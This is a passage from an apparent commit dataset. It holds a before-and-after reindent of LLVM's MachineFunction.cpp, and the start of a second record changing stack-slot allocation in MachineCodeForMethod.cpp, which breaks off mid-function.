std::cerr; the default banner is empty.\n\/\/\/\nFunctionPass *llvm::createMachineFunctionPrinterPass(std::ostream *OS,\n                                                     const std::string &Banner) {\n  return new Printer(OS, Banner);\n}\n\nnamespace {\n  struct Deleter : public MachineFunctionPass {\n    const char *getPassName() const { return \"Machine Code Deleter\"; }\n\n    bool runOnMachineFunction(MachineFunction &MF) {\n      \/\/ Delete the annotation from the function now.\n      MachineFunction::destruct(MF.getFunction());\n      return true;\n    }\n  };\n}\n\n\/\/\/ MachineCodeDeletion Pass - This pass deletes all of the machine code for\n\/\/\/ the current function, which should happen after the function has been\n\/\/\/ emitted to a .s file or to memory.\nFunctionPass *llvm::createMachineCodeDeleter() {\n  return new Deleter();\n}\n\n\n\n\/\/===---------------------------------------------------------------------===\/\/\n\/\/ MachineFunction implementation\n\/\/===---------------------------------------------------------------------===\/\/\nMachineBasicBlock* ilist_traits<MachineBasicBlock>::createNode()\n{\n    MachineBasicBlock* dummy = new MachineBasicBlock();\n    LeakDetector::removeGarbageObject(dummy);\n    return dummy;\n}\n\nvoid ilist_traits<MachineBasicBlock>::transferNodesFromList(\n    iplist<MachineBasicBlock, ilist_traits<MachineBasicBlock> >& toList,\n    ilist_iterator<MachineBasicBlock> first,\n    ilist_iterator<MachineBasicBlock> last)\n{\n    if (Parent != toList.Parent)\n        for (; first != last; ++first)\n            first->Parent = toList.Parent;\n}\n\nMachineFunction::MachineFunction(const Function *F,\n                                 const TargetMachine &TM)\n  : Annotation(MF_AID), Fn(F), Target(TM) {\n  SSARegMapping = new SSARegMap();\n  MFInfo = 0;\n  FrameInfo = new MachineFrameInfo();\n  ConstantPool = new MachineConstantPool();\n  BasicBlocks.Parent = this;\n}\n\nMachineFunction::~MachineFunction() { \n  BasicBlocks.clear();\n  delete SSARegMapping;\n  delete MFInfo;\n  delete FrameInfo;\n  delete ConstantPool;\n}\n\nvoid MachineFunction::dump() const { print(std::cerr); }\n\nvoid MachineFunction::print(std::ostream &OS) const {\n  OS << \"# Machine code for \" << Fn->getName () << \"():\\n\";\n\n  \/\/ Print Frame Information\n  getFrameInfo()->print(*this, OS);\n\n  \/\/ Print Constant Pool\n  getConstantPool()->print(OS);\n  \n  for (const_iterator BB = begin(); BB != end(); ++BB)\n    BB->print(OS);\n\n  OS << \"\\n# End machine code for \" << Fn->getName () << \"().\\n\\n\";\n}\n\n\/\/\/ CFGOnly flag - This is used to control whether or not the CFG graph printer\n\/\/\/ prints out the contents of basic blocks or not.  This is acceptable because\n\/\/\/ this code is only really used for debugging purposes.\n\/\/\/\nstatic bool CFGOnly = false;\n\nnamespace llvm {\ntemplate<>\nstruct DOTGraphTraits<const MachineFunction*> : public DefaultDOTGraphTraits {\n  static std::string getGraphName(const MachineFunction *F) {\n    return \"CFG for '\" + F->getFunction()->getName() + \"' function\";\n  }\n\n  static std::string getNodeLabel(const MachineBasicBlock *Node,\n                                  const MachineFunction *Graph) {\n    if (CFGOnly && Node->getBasicBlock() &&\n        !Node->getBasicBlock()->getName().empty())\n      return Node->getBasicBlock()->getName() + \":\";\n\n    std::ostringstream Out;\n    if (CFGOnly) {\n      Out << Node->getNumber() << ':';\n      return Out.str();\n    }\n\n    Node->print(Out);\n\n    std::string OutStr = Out.str();\n    if (OutStr[0] == '\\n') OutStr.erase(OutStr.begin());\n\n    \/\/ Process string output to make it nicer...\n    for (unsigned i = 0; i != OutStr.length(); ++i)\n      if (OutStr[i] == '\\n') {                            \/\/ Left justify\n        OutStr[i] = '\\\\';\n        OutStr.insert(OutStr.begin()+i+1, 'l');\n      }\n    return OutStr;\n  }\n};\n}\n\nvoid MachineFunction::viewCFG() const\n{\n  std::string Filename = \"\/tmp\/cfg.\" + getFunction()->getName() + \".dot\";\n  std::cerr << \"Writing '\" << Filename << \"'... \";\n  std::ofstream F(Filename.c_str());\n  \n  if (!F) {\n    std::cerr << \"  error opening file for writing!\\n\";\n    return;\n  }\n\n  WriteGraph(F, this);\n  F.close();\n  std::cerr << \"\\n\";\n\n  std::cerr << \"Running 'dot' program... \" << std::flush;\n  if (system((\"dot -Tps -Nfontname=Courier -Gsize=7.5,10 \" + Filename\n              + \" > \/tmp\/cfg.tempgraph.ps\").c_str())) {\n    std::cerr << \"Error running dot: 'dot' not in path?\\n\";\n  } else {\n    std::cerr << \"\\n\";\n    system(\"gv \/tmp\/cfg.tempgraph.ps\");\n  }\n  system((\"rm \" + Filename + \" \/tmp\/cfg.tempgraph.ps\").c_str());\n}\n\nvoid MachineFunction::viewCFGOnly() const\n{\n  CFGOnly = true;\n  viewCFG();\n  CFGOnly = false;\n}\n\n\/\/ The next two methods are used to construct and to retrieve\n\/\/ the MachineCodeForFunction object for the given function.\n\/\/ construct() -- Allocates and initializes for a given function and target\n\/\/ get()       -- Returns a handle to the object.\n\/\/                This should not be called before \"construct()\"\n\/\/                for a given Function.\n\/\/ \nMachineFunction&\nMachineFunction::construct(const Function *Fn, const TargetMachine &Tar)\n{\n  assert(Fn->getAnnotation(MF_AID) == 0 &&\n         \"Object already exists for this function!\");\n  MachineFunction* mcInfo = new MachineFunction(Fn, Tar);\n  Fn->addAnnotation(mcInfo);\n  return *mcInfo;\n}\n\nvoid MachineFunction::destruct(const Function *Fn) {\n  bool Deleted = Fn->deleteAnnotation(MF_AID);\n  assert(Deleted && \"Machine code did not exist for function!\");\n}\n\nMachineFunction& MachineFunction::get(const Function *F)\n{\n  MachineFunction *mc = (MachineFunction*)F->getAnnotation(MF_AID);\n  assert(mc && \"Call construct() method first to allocate the object\");\n  return *mc;\n}\n\nvoid MachineFunction::clearSSARegMap() {\n  delete SSARegMapping;\n  SSARegMapping = 0;\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/  MachineFrameInfo implementation\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/\/ CreateStackObject - Create a stack object for a value of the specified type.\n\/\/\/\nint MachineFrameInfo::CreateStackObject(const Type *Ty, const TargetData &TD) {\n  return CreateStackObject(TD.getTypeSize(Ty), TD.getTypeAlignment(Ty));\n}\n\n\nvoid MachineFrameInfo::print(const MachineFunction &MF, std::ostream &OS) const{\n  int ValOffset = MF.getTarget().getFrameInfo()->getOffsetOfLocalArea();\n\n  for (unsigned i = 0, e = Objects.size(); i != e; ++i) {\n    const StackObject &SO = Objects[i];\n    OS << \"  <fi #\" << (int)(i-NumFixedObjects) << \"> is \";\n    if (SO.Size == 0)\n      OS << \"variable sized\";\n    else\n      OS << SO.Size << \" byte\" << (SO.Size != 1 ? \"s\" : \" \");\n    \n    if (i < NumFixedObjects)\n      OS << \" fixed\";\n    if (i < NumFixedObjects || SO.SPOffset != -1) {\n      int Off = SO.SPOffset - ValOffset;\n      OS << \" at location [SP\";\n      if (Off > 0)\n\tOS << \"+\" << Off;\n      else if (Off < 0)\n\tOS << Off;\n      OS << \"]\";\n    }\n    OS << \"\\n\";\n  }\n\n  if (HasVarSizedObjects)\n    OS << \"  Stack frame contains variable sized objects\\n\";\n}\n\nvoid MachineFrameInfo::dump(const MachineFunction &MF) const {\n  print(MF, std::cerr);\n}\n\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/  MachineConstantPool implementation\n\/\/===----------------------------------------------------------------------===\/\/\n\nvoid MachineConstantPool::print(std::ostream &OS) const {\n  for (unsigned i = 0, e = Constants.size(); i != e; ++i)\n    OS << \"  <cp #\" << i << \"> is\" << *(Value*)Constants[i] << \"\\n\";\n}\n\nvoid MachineConstantPool::dump() const { print(std::cerr); }\n\n<commit_msg>Indent to 2 spaces and cleanup excess whitespace.<commit_after>\/\/===-- MachineFunction.cpp -----------------------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Collect native machine code information for a function.  This allows\n\/\/ target-specific information about the generated code to be stored with each\n\/\/ function.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/CodeGen\/MachineFunctionPass.h\"\n#include \"llvm\/CodeGen\/MachineInstr.h\"\n#include \"llvm\/CodeGen\/SSARegMap.h\"\n#include \"llvm\/CodeGen\/MachineFrameInfo.h\"\n#include \"llvm\/CodeGen\/MachineConstantPool.h\"\n#include \"llvm\/CodeGen\/Passes.h\"\n#include \"llvm\/Target\/TargetMachine.h\"\n#include \"llvm\/Target\/TargetFrameInfo.h\"\n#include \"llvm\/Function.h\"\n#include \"llvm\/Instructions.h\"\n#include \"llvm\/Support\/LeakDetector.h\"\n#include \"llvm\/Support\/GraphWriter.h\"\n#include <fstream>\n#include <iostream>\n#include <sstream>\n\nusing namespace llvm;\n\nstatic AnnotationID MF_AID(\n  AnnotationManager::getID(\"CodeGen::MachineCodeForFunction\"));\n\n\nnamespace {\n  struct Printer : public MachineFunctionPass {\n    std::ostream *OS;\n    const std::string Banner;\n\n    Printer (std::ostream *_OS, const std::string &_Banner) :\n      OS (_OS), Banner (_Banner) { }\n\n    const char *getPassName() const { return \"MachineFunction Printer\"; }\n\n    virtual void getAnalysisUsage(AnalysisUsage &AU) const {\n      AU.setPreservesAll();\n    }\n\n    bool runOnMachineFunction(MachineFunction &MF) {\n      (*OS) << Banner;\n      MF.print (*OS);\n      return false;\n    }\n  };\n}\n\n\/\/\/ Returns a newly-created MachineFunction Printer pass. The default output\n\/\/\/ stream is std::cerr; the default banner is empty.\n\/\/\/\nFunctionPass *llvm::createMachineFunctionPrinterPass(std::ostream *OS,\n                                                     const std::string &Banner) {\n  return new Printer(OS, Banner);\n}\n\nnamespace {\n  struct Deleter : public MachineFunctionPass {\n    const char *getPassName() const { return \"Machine Code Deleter\"; }\n\n    bool runOnMachineFunction(MachineFunction &MF) {\n      \/\/ Delete the annotation from the function now.\n      MachineFunction::destruct(MF.getFunction());\n      return true;\n    }\n  };\n}\n\n\/\/\/ MachineCodeDeletion Pass - This pass deletes all of the machine code for\n\/\/\/ the current function, which should happen after the function has been\n\/\/\/ emitted to a .s file or to memory.\nFunctionPass *llvm::createMachineCodeDeleter() {\n  return new Deleter();\n}\n\n\n\n\/\/===---------------------------------------------------------------------===\/\/\n\/\/ MachineFunction implementation\n\/\/===---------------------------------------------------------------------===\/\/\nMachineBasicBlock* ilist_traits<MachineBasicBlock>::createNode()\n{\n  MachineBasicBlock* dummy = new MachineBasicBlock();\n  LeakDetector::removeGarbageObject(dummy);\n  return dummy;\n}\n\nvoid ilist_traits<MachineBasicBlock>::transferNodesFromList(\n  iplist<MachineBasicBlock, ilist_traits<MachineBasicBlock> >& toList,\n  ilist_iterator<MachineBasicBlock> first,\n  ilist_iterator<MachineBasicBlock> last)\n{\n  if (Parent != toList.Parent)\n    for (; first != last; ++first)\n      first->Parent = toList.Parent;\n}\n\nMachineFunction::MachineFunction(const Function *F,\n                                 const TargetMachine &TM)\n  : Annotation(MF_AID), Fn(F), Target(TM) {\n  SSARegMapping = new SSARegMap();\n  MFInfo = 0;\n  FrameInfo = new MachineFrameInfo();\n  ConstantPool = new MachineConstantPool();\n  BasicBlocks.Parent = this;\n}\n\nMachineFunction::~MachineFunction() {\n  BasicBlocks.clear();\n  delete SSARegMapping;\n  delete MFInfo;\n  delete FrameInfo;\n  delete ConstantPool;\n}\n\nvoid MachineFunction::dump() const { print(std::cerr); }\n\nvoid MachineFunction::print(std::ostream &OS) const {\n  OS << \"# Machine code for \" << Fn->getName () << \"():\\n\";\n\n  \/\/ Print Frame Information\n  getFrameInfo()->print(*this, OS);\n\n  \/\/ Print Constant Pool\n  getConstantPool()->print(OS);\n\n  for (const_iterator BB = begin(); BB != end(); ++BB)\n    BB->print(OS);\n\n  OS << \"\\n# End machine code for \" << Fn->getName () << \"().\\n\\n\";\n}\n\n\/\/\/ CFGOnly flag - This is used to control whether or not the CFG graph printer\n\/\/\/ prints out the contents of basic blocks or not.  This is acceptable because\n\/\/\/ this code is only really used for debugging purposes.\n\/\/\/\nstatic bool CFGOnly = false;\n\nnamespace llvm {\n  template<>\n  struct DOTGraphTraits<const MachineFunction*> : public DefaultDOTGraphTraits {\n    static std::string getGraphName(const MachineFunction *F) {\n      return \"CFG for '\" + F->getFunction()->getName() + \"' function\";\n    }\n\n    static std::string getNodeLabel(const MachineBasicBlock *Node,\n                                    const MachineFunction *Graph) {\n      if (CFGOnly && Node->getBasicBlock() &&\n          !Node->getBasicBlock()->getName().empty())\n        return Node->getBasicBlock()->getName() + \":\";\n\n      std::ostringstream Out;\n      if (CFGOnly) {\n        Out << Node->getNumber() << ':';\n        return Out.str();\n      }\n\n      Node->print(Out);\n\n      std::string OutStr = Out.str();\n      if (OutStr[0] == '\\n') OutStr.erase(OutStr.begin());\n\n      \/\/ Process string output to make it nicer...\n      for (unsigned i = 0; i != OutStr.length(); ++i)\n        if (OutStr[i] == '\\n') {                            \/\/ Left justify\n          OutStr[i] = '\\\\';\n          OutStr.insert(OutStr.begin()+i+1, 'l');\n        }\n      return OutStr;\n    }\n  };\n}\n\nvoid MachineFunction::viewCFG() const\n{\n  std::string Filename = \"\/tmp\/cfg.\" + getFunction()->getName() + \".dot\";\n  std::cerr << \"Writing '\" << Filename << \"'... \";\n  std::ofstream F(Filename.c_str());\n\n  if (!F) {\n    std::cerr << \"  error opening file for writing!\\n\";\n    return;\n  }\n\n  WriteGraph(F, this);\n  F.close();\n  std::cerr << \"\\n\";\n\n  std::cerr << \"Running 'dot' program... \" << std::flush;\n  if (system((\"dot -Tps -Nfontname=Courier -Gsize=7.5,10 \" + Filename\n              + \" > \/tmp\/cfg.tempgraph.ps\").c_str())) {\n    std::cerr << \"Error running dot: 'dot' not in path?\\n\";\n  } else {\n    std::cerr << \"\\n\";\n    system(\"gv \/tmp\/cfg.tempgraph.ps\");\n  }\n  system((\"rm \" + Filename + \" \/tmp\/cfg.tempgraph.ps\").c_str());\n}\n\nvoid MachineFunction::viewCFGOnly() const\n{\n  CFGOnly = true;\n  viewCFG();\n  CFGOnly = false;\n}\n\n\/\/ The next two methods are used to construct and to retrieve\n\/\/ the MachineCodeForFunction object for the given function.\n\/\/ construct() -- Allocates and initializes for a given function and target\n\/\/ get()       -- Returns a handle to the object.\n\/\/                This should not be called before \"construct()\"\n\/\/                for a given Function.\n\/\/\nMachineFunction&\nMachineFunction::construct(const Function *Fn, const TargetMachine &Tar)\n{\n  assert(Fn->getAnnotation(MF_AID) == 0 &&\n         \"Object already exists for this function!\");\n  MachineFunction* mcInfo = new MachineFunction(Fn, Tar);\n  Fn->addAnnotation(mcInfo);\n  return *mcInfo;\n}\n\nvoid MachineFunction::destruct(const Function *Fn) {\n  bool Deleted = Fn->deleteAnnotation(MF_AID);\n  assert(Deleted && \"Machine code did not exist for function!\");\n}\n\nMachineFunction& MachineFunction::get(const Function *F)\n{\n  MachineFunction *mc = (MachineFunction*)F->getAnnotation(MF_AID);\n  assert(mc && \"Call construct() method first to allocate the object\");\n  return *mc;\n}\n\nvoid MachineFunction::clearSSARegMap() {\n  delete SSARegMapping;\n  SSARegMapping = 0;\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/  MachineFrameInfo implementation\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/\/ CreateStackObject - Create a stack object for a value of the specified type.\n\/\/\/\nint MachineFrameInfo::CreateStackObject(const Type *Ty, const TargetData &TD) {\n  return CreateStackObject(TD.getTypeSize(Ty), TD.getTypeAlignment(Ty));\n}\n\n\nvoid MachineFrameInfo::print(const MachineFunction &MF, std::ostream &OS) const{\n  int ValOffset = MF.getTarget().getFrameInfo()->getOffsetOfLocalArea();\n\n  for (unsigned i = 0, e = Objects.size(); i != e; ++i) {\n    const StackObject &SO = Objects[i];\n    OS << \"  <fi #\" << (int)(i-NumFixedObjects) << \"> is \";\n    if (SO.Size == 0)\n      OS << \"variable sized\";\n    else\n      OS << SO.Size << \" byte\" << (SO.Size != 1 ? \"s\" : \" \");\n\n    if (i < NumFixedObjects)\n      OS << \" fixed\";\n    if (i < NumFixedObjects || SO.SPOffset != -1) {\n      int Off = SO.SPOffset - ValOffset;\n      OS << \" at location [SP\";\n      if (Off > 0)\n        OS << \"+\" << Off;\n      else if (Off < 0)\n        OS << Off;\n      OS << \"]\";\n    }\n    OS << \"\\n\";\n  }\n\n  if (HasVarSizedObjects)\n    OS << \"  Stack frame contains variable sized objects\\n\";\n}\n\nvoid MachineFrameInfo::dump(const MachineFunction &MF) const {\n  print(MF, std::cerr);\n}\n\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/  MachineConstantPool implementation\n\/\/===----------------------------------------------------------------------===\/\/\n\nvoid MachineConstantPool::print(std::ostream &OS) const {\n  for (unsigned i = 0, e = Constants.size(); i != e; ++i)\n    OS << \"  <cp #\" << i << \"> is\" << *(Value*)Constants[i] << \"\\n\";\n}\n\nvoid MachineConstantPool::dump() const { print(std::cerr); }\n<|endoftext|>"}
{"text":"<commit_before>\/\/===-- MachineCodeForMethod.cpp -------------------------------------------=\/\/\n\/\/ \n\/\/ Purpose:\n\/\/   Collect native machine code information for a function.\n\/\/   This allows target-specific information about the generated code\n\/\/   to be stored with each function.\n\/\/===---------------------------------------------------------------------===\/\/\n\n#include \"llvm\/CodeGen\/MachineCodeForMethod.h\"\n#include \"llvm\/CodeGen\/MachineInstr.h\"  \/\/ For debug output\n#include \"llvm\/CodeGen\/MachineCodeForBasicBlock.h\"\n#include \"llvm\/Target\/TargetMachine.h\"\n#include \"llvm\/Target\/MachineFrameInfo.h\"\n#include \"llvm\/Target\/MachineCacheInfo.h\"\n#include \"llvm\/Function.h\"\n#include \"llvm\/BasicBlock.h\"\n#include \"llvm\/iOther.h\"\n#include <limits.h>\n#include <iostream>\n\nconst int INVALID_FRAME_OFFSET = INT_MAX; \/\/ std::numeric_limits<int>::max();\n\nstatic AnnotationID MCFM_AID(\n                 AnnotationManager::getID(\"CodeGen::MachineCodeForFunction\"));\n\n\/\/ The next two methods are used to construct and to retrieve\n\/\/ the MachineCodeForFunction object for the given function.\n\/\/ construct() -- Allocates and initializes for a given function and target\n\/\/ get()       -- Returns a handle to the object.\n\/\/                This should not be called before \"construct()\"\n\/\/                for a given Function.\n\/\/ \nMachineCodeForMethod&\nMachineCodeForMethod::construct(const Function *M, const TargetMachine &Tar)\n{\n  assert(M->getAnnotation(MCFM_AID) == 0 &&\n         \"Object already exists for this function!\");\n  MachineCodeForMethod* mcInfo = new MachineCodeForMethod(M, Tar);\n  M->addAnnotation(mcInfo);\n  return *mcInfo;\n}\n\nvoid\nMachineCodeForMethod::destruct(const Function *M)\n{\n  bool Deleted = M->deleteAnnotation(MCFM_AID);\n  assert(Deleted && \"Machine code did not exist for function!\");\n}\n\nMachineCodeForMethod&\nMachineCodeForMethod::get(const Function *F)\n{\n  MachineCodeForMethod *mc = (MachineCodeForMethod*)F->getAnnotation(MCFM_AID);\n  assert(mc && \"Call construct() method first to allocate the object\");\n  return *mc;\n}\n\nstatic unsigned\nComputeMaxOptionalArgsSize(const TargetMachine& target, const Function *F,\n                           unsigned &maxOptionalNumArgs)\n{\n  const MachineFrameInfo& frameInfo = target.getFrameInfo();\n  \n  unsigned maxSize = 0;\n  \n  for (Function::const_iterator BB = F->begin(), BBE = F->end(); BB !=BBE; ++BB)\n    for (BasicBlock::const_iterator I = BB->begin(), E = BB->end(); I != E; ++I)\n      if (const CallInst *callInst = dyn_cast<CallInst>(&*I))\n        {\n          unsigned numOperands = callInst->getNumOperands() - 1;\n          int numExtra = (int)numOperands-frameInfo.getNumFixedOutgoingArgs();\n          if (numExtra <= 0)\n            continue;\n          \n          unsigned int sizeForThisCall;\n          if (frameInfo.argsOnStackHaveFixedSize())\n            {\n              int argSize = frameInfo.getSizeOfEachArgOnStack(); \n              sizeForThisCall = numExtra * (unsigned) argSize;\n            }\n          else\n            {\n              assert(0 && \"UNTESTED CODE: Size per stack argument is not \"\n                     \"fixed on this architecture: use actual arg sizes to \"\n                     \"compute MaxOptionalArgsSize\");\n              sizeForThisCall = 0;\n              for (unsigned i = 0; i < numOperands; ++i)\n                sizeForThisCall += target.findOptimalStorageSize(callInst->\n                                              getOperand(i)->getType());\n            }\n          \n          if (maxSize < sizeForThisCall)\n            maxSize = sizeForThisCall;\n          \n          if ((int)maxOptionalNumArgs < numExtra)\n            maxOptionalNumArgs = (unsigned) numExtra;\n        }\n  \n  return maxSize;\n}\n\n\/\/ Align data larger than one L1 cache line on L1 cache line boundaries.\n\/\/ Align all smaller data on the next higher 2^x boundary (4, 8, ...),\n\/\/ but not higher than the alignment of the largest type we support\n\/\/ (currently a double word). -- see class TargetData).\n\/\/\n\/\/ This function is similar to the corresponding function in EmitAssembly.cpp\n\/\/ but they are unrelated.  This one does not align at more than a\n\/\/ double-word boundary whereas that one might.\n\/\/ \ninline unsigned int\nSizeToAlignment(unsigned int size, const TargetMachine& target)\n{\n  unsigned short cacheLineSize = target.getCacheInfo().getCacheLineSize(1); \n  if (size > (unsigned) cacheLineSize \/ 2)\n    return cacheLineSize;\n  else\n    for (unsigned sz=1; \/*no condition*\/; sz *= 2)\n      if (sz >= size || sz >= target.DataLayout.getDoubleAlignment())\n        return sz;\n}\n\n\n\/*ctor*\/\nMachineCodeForMethod::MachineCodeForMethod(const Function *F,\n                                           const TargetMachine& target)\n  : Annotation(MCFM_AID),\n    method(F), staticStackSize(0),\n    automaticVarsSize(0), regSpillsSize(0),\n    maxOptionalArgsSize(0), maxOptionalNumArgs(0),\n    currentTmpValuesSize(0), maxTmpValuesSize(0), compiledAsLeaf(false),\n    spillsAreaFrozen(false), automaticVarsAreaFrozen(false)\n{\n  maxOptionalArgsSize = ComputeMaxOptionalArgsSize(target, method,\n                                                   maxOptionalNumArgs);\n  staticStackSize = maxOptionalArgsSize\n                    + target.getFrameInfo().getMinStackFrameSize();\n}\n\nint\nMachineCodeForMethod::computeOffsetforLocalVar(const TargetMachine& target,\n                                               const Value* val,\n                                               unsigned int& getPaddedSize,\n                                               unsigned int  sizeToUse)\n{\n  if (sizeToUse == 0)\n    sizeToUse = target.findOptimalStorageSize(val->getType());\n  unsigned int align = SizeToAlignment(sizeToUse, target);\n\n  bool growUp;\n  int firstOffset = target.getFrameInfo().getFirstAutomaticVarOffset(*this,\n                                                                     growUp);\n  int offset = growUp? firstOffset + getAutomaticVarsSize()\n                     : firstOffset - (getAutomaticVarsSize() + sizeToUse);\n\n  int aligned = target.getFrameInfo().adjustAlignment(offset, growUp, align);\n  getPaddedSize = sizeToUse + abs(aligned - offset);\n\n  return aligned;\n}\n\nint\nMachineCodeForMethod::allocateLocalVar(const TargetMachine& target,\n                                       const Value* val,\n                                       unsigned int sizeToUse)\n{\n  assert(! automaticVarsAreaFrozen &&\n         \"Size of auto vars area has been used to compute an offset so \"\n         \"no more automatic vars should be allocated!\");\n  \n  \/\/ Check if we've allocated a stack slot for this value already\n  \/\/ \n  int offset = getOffset(val);\n  if (offset == INVALID_FRAME_OFFSET)\n    {\n      unsigned int getPaddedSize;\n      offset = this->computeOffsetforLocalVar(target, val, getPaddedSize,\n                                              sizeToUse);\n      offsets[val] = offset;\n      incrementAutomaticVarsSize(getPaddedSize);\n    }\n  return offset;\n}\n\nint\nMachineCodeForMethod::allocateSpilledValue(const TargetMachine& target,\n                                           const Type* type)\n{\n  assert(! spillsAreaFrozen &&\n         \"Size of reg spills area has been used to compute an offset so \"\n         \"no more register spill slots should be allocated!\");\n  \n  unsigned int size  = target.findOptimalStorageSize(type);\n  unsigned char align = target.DataLayout.getTypeAlignment(type);\n  \n  bool growUp;\n  int firstOffset = target.getFrameInfo().getRegSpillAreaOffset(*this, growUp);\n  \n  int offset = growUp? firstOffset + getRegSpillsSize()\n                     : firstOffset - (getRegSpillsSize() + size);\n\n  int aligned = target.getFrameInfo().adjustAlignment(offset, growUp, align);\n  size += abs(aligned - offset); \/\/ include alignment padding in size\n  \n  incrementRegSpillsSize(size);  \/\/ update size of reg. spills area\n\n  return aligned;\n}\n\nint\nMachineCodeForMethod::pushTempValue(const TargetMachine& target,\n                                    unsigned int size)\n{\n  unsigned int align = SizeToAlignment(size, target);\n\n  bool growUp;\n  int firstOffset = target.getFrameInfo().getTmpAreaOffset(*this, growUp);\n\n  int offset = growUp? firstOffset + currentTmpValuesSize\n                     : firstOffset - (currentTmpValuesSize + size);\n\n  int aligned = target.getFrameInfo().adjustAlignment(offset, growUp, align);\n  size += abs(aligned - offset); \/\/ include alignment padding in size\n\n  incrementTmpAreaSize(size);    \/\/ update \"current\" size of tmp area\n\n  return aligned;\n}\n\nvoid\nMachineCodeForMethod::popAllTempValues(const TargetMachine& target)\n{\n  resetTmpAreaSize();            \/\/ clear tmp area to reuse\n}\n\nint\nMachineCodeForMethod::getOffset(const Value* val) const\n{\n  hash_map<const Value*, int>::const_iterator pair = offsets.find(val);\n  return (pair == offsets.end())? INVALID_FRAME_OFFSET : pair->second;\n}\n\nvoid\nMachineCodeForMethod::dump() const\n{\n  std::cerr << \"\\n\" << method->getReturnType()\n            << \" \\\"\" << method->getName() << \"\\\"\\n\";\n  \n  for (Function::const_iterator BB = method->begin(); BB != method->end(); ++BB)\n    {\n      std::cerr << std::endl << (*BB).getName() << \" (\" << (const void*) BB << \")\" << \":\" << std::endl;\n      MachineCodeForBasicBlock& mvec = MachineCodeForBasicBlock::get(BB);\n      for (unsigned i=0; i < mvec.size(); i++)\n\tstd::cerr << \"\\t\" << *mvec[i];\n    } \n  std::cerr << \"\\nEnd function \\\"\" << method->getName() << \"\\\"\\n\\n\";\n}\n<commit_msg>Don't pad variables in stack slots for performance!<commit_after>\/\/===-- MachineCodeForMethod.cpp -------------------------------------------=\/\/\n\/\/ \n\/\/ Purpose:\n\/\/   Collect native machine code information for a function.\n\/\/   This allows target-specific information about the generated code\n\/\/   to be stored with each function.\n\/\/===---------------------------------------------------------------------===\/\/\n\n#include \"llvm\/CodeGen\/MachineCodeForMethod.h\"\n#include \"llvm\/CodeGen\/MachineInstr.h\"  \/\/ For debug output\n#include \"llvm\/CodeGen\/MachineCodeForBasicBlock.h\"\n#include \"llvm\/Target\/TargetMachine.h\"\n#include \"llvm\/Target\/MachineFrameInfo.h\"\n#include \"llvm\/Target\/MachineCacheInfo.h\"\n#include \"llvm\/Function.h\"\n#include \"llvm\/BasicBlock.h\"\n#include \"llvm\/iOther.h\"\n#include <limits.h>\n#include <iostream>\n\nconst int INVALID_FRAME_OFFSET = INT_MAX; \/\/ std::numeric_limits<int>::max();\n\nstatic AnnotationID MCFM_AID(\n                 AnnotationManager::getID(\"CodeGen::MachineCodeForFunction\"));\n\n\/\/ The next two methods are used to construct and to retrieve\n\/\/ the MachineCodeForFunction object for the given function.\n\/\/ construct() -- Allocates and initializes for a given function and target\n\/\/ get()       -- Returns a handle to the object.\n\/\/                This should not be called before \"construct()\"\n\/\/                for a given Function.\n\/\/ \nMachineCodeForMethod&\nMachineCodeForMethod::construct(const Function *M, const TargetMachine &Tar)\n{\n  assert(M->getAnnotation(MCFM_AID) == 0 &&\n         \"Object already exists for this function!\");\n  MachineCodeForMethod* mcInfo = new MachineCodeForMethod(M, Tar);\n  M->addAnnotation(mcInfo);\n  return *mcInfo;\n}\n\nvoid\nMachineCodeForMethod::destruct(const Function *M)\n{\n  bool Deleted = M->deleteAnnotation(MCFM_AID);\n  assert(Deleted && \"Machine code did not exist for function!\");\n}\n\nMachineCodeForMethod&\nMachineCodeForMethod::get(const Function *F)\n{\n  MachineCodeForMethod *mc = (MachineCodeForMethod*)F->getAnnotation(MCFM_AID);\n  assert(mc && \"Call construct() method first to allocate the object\");\n  return *mc;\n}\n\nstatic unsigned\nComputeMaxOptionalArgsSize(const TargetMachine& target, const Function *F,\n                           unsigned &maxOptionalNumArgs)\n{\n  const MachineFrameInfo& frameInfo = target.getFrameInfo();\n  \n  unsigned maxSize = 0;\n  \n  for (Function::const_iterator BB = F->begin(), BBE = F->end(); BB !=BBE; ++BB)\n    for (BasicBlock::const_iterator I = BB->begin(), E = BB->end(); I != E; ++I)\n      if (const CallInst *callInst = dyn_cast<CallInst>(&*I))\n        {\n          unsigned numOperands = callInst->getNumOperands() - 1;\n          int numExtra = (int)numOperands-frameInfo.getNumFixedOutgoingArgs();\n          if (numExtra <= 0)\n            continue;\n          \n          unsigned int sizeForThisCall;\n          if (frameInfo.argsOnStackHaveFixedSize())\n            {\n              int argSize = frameInfo.getSizeOfEachArgOnStack(); \n              sizeForThisCall = numExtra * (unsigned) argSize;\n            }\n          else\n            {\n              assert(0 && \"UNTESTED CODE: Size per stack argument is not \"\n                     \"fixed on this architecture: use actual arg sizes to \"\n                     \"compute MaxOptionalArgsSize\");\n              sizeForThisCall = 0;\n              for (unsigned i = 0; i < numOperands; ++i)\n                sizeForThisCall += target.DataLayout.getTypeSize(callInst->\n                                              getOperand(i)->getType());\n            }\n          \n          if (maxSize < sizeForThisCall)\n            maxSize = sizeForThisCall;\n          \n          if ((int)maxOptionalNumArgs < numExtra)\n            maxOptionalNumArgs = (unsigned) numExtra;\n        }\n  \n  return maxSize;\n}\n\n\/\/ Align data larger than one L1 cache line on L1 cache line boundaries.\n\/\/ Align all smaller data on the next higher 2^x boundary (4, 8, ...),\n\/\/ but not higher than the alignment of the largest type we support\n\/\/ (currently a double word). -- see class TargetData).\n\/\/\n\/\/ This function is similar to the corresponding function in EmitAssembly.cpp\n\/\/ but they are unrelated.  This one does not align at more than a\n\/\/ double-word boundary whereas that one might.\n\/\/ \ninline unsigned int\nSizeToAlignment(unsigned int size, const TargetMachine& target)\n{\n  unsigned short cacheLineSize = target.getCacheInfo().getCacheLineSize(1); \n  if (size > (unsigned) cacheLineSize \/ 2)\n    return 